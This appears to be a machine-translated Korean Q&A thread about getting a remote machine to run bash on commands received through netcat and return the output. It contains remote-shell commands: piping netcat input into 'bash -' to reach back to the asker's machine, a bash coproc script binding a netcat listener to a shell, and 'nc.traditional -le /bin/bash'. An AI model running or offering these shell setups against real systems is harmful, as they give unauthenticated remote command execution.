원격 컴퓨터에 대한 연결을 수신하고 netcat
원격 컴퓨터에서 오는 모든 텍스트에 대해 bash를 실행하고 명령 결과를 다시 원격 컴퓨터로 보내려고 합니다.
예. 완전 해킹.
저는 다음과 같이 일합니다.
내 로컬 컴퓨터에서 실행합니다.netcat -l -p 8765
원격 방화벽이 있는 컴퓨터에서 다음을 실행합니다.netcat <ipofmylocalmachine> 8765 | bash -
tail -f /tmp/output
원격 컴퓨터에서 a를 실행하고 a를 입력하면 명령의 결과를 볼 수 있습니다.echo "test" > /tmp/output
하지만 로컬 컴퓨터에서 bash 명령의 결과를 어떻게 봅니까?
Python과 Perl을 사용하여 이 작업을 수행할 수 있지만 bash만 사용하여 어떻게 수행합니까?
참고로 저는 리버스 쉘 해석을 알고 있습니다.http://blog.safebuff.com/2016/06/19/Reverse-shell-Cheat-Sheet/, 하지만 저는 조금 다른 것을 찾고 있습니다. 열려 있는 포트는 서버에서 열려 있는 포트가 아니고, 방화벽이 없는 클라이언트에서 열려 있는 포트입니다.
답변1
기본적으로 당신이 원하는 것은 netcat의 STDOUT을 bash의 STDIN에 연결하고 bash의 STDOUT을 netcat의 STDIN에 연결하는 것입니다.
Bash에는 명령을 시작하는 여러 가지 방법이 있지만 명령을 시작하고 명령을 읽고 쓸 수 있는 방법은 한 가지뿐입니다. 배쉬가 그것을 부른다코루틴.
그럼 우리가 원하는 것을 할 수 있게 해주는 최종 스크립트를 살펴보고 분석해 보겠습니다.
#!/bin/bash
coproc netcat -l -p 8765
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1
따라서 첫 번째 줄은 netcat
백그라운드에서 시작하여 netcat
숫자가 저장된 파일 설명자에 STDOUT을 할당 ${COPROC[0]}
하고 netcat
숫자가 저장된 파일 설명자에 STDIN을 할당합니다 ${COPROC[1]}
.
이제 이러한 파일 설명자를 bash의 STDIN/STDOUT/STDERR로 리디렉션해야 합니다. 그러나 bash가 스크립트를 실행할 때 스크립트 파일에서 명령을 읽으며 파일 설명자에서 읽기로 전환하도록 지시할 방법이 없습니다. 따라서 bash를 다시 실행하면 STDIN은 에 연결되고 ${COPROC[0]}
STDOUT은 에 연결되며 ${COPROC[1]}
STDERR은 에 연결됩니다 ${COPROC[1]}
.
답변2
이 패키지가 필요합니다 netcat-traditional
.
다음 명령을 사용하십시오.
$ nc.traditional -le /bin/bash -p <port to listen>
예를 들어:
nc.traditional -le /bin/bash -p 8888
연결하고 실행 ls
하면 파일을 볼 수 있습니다.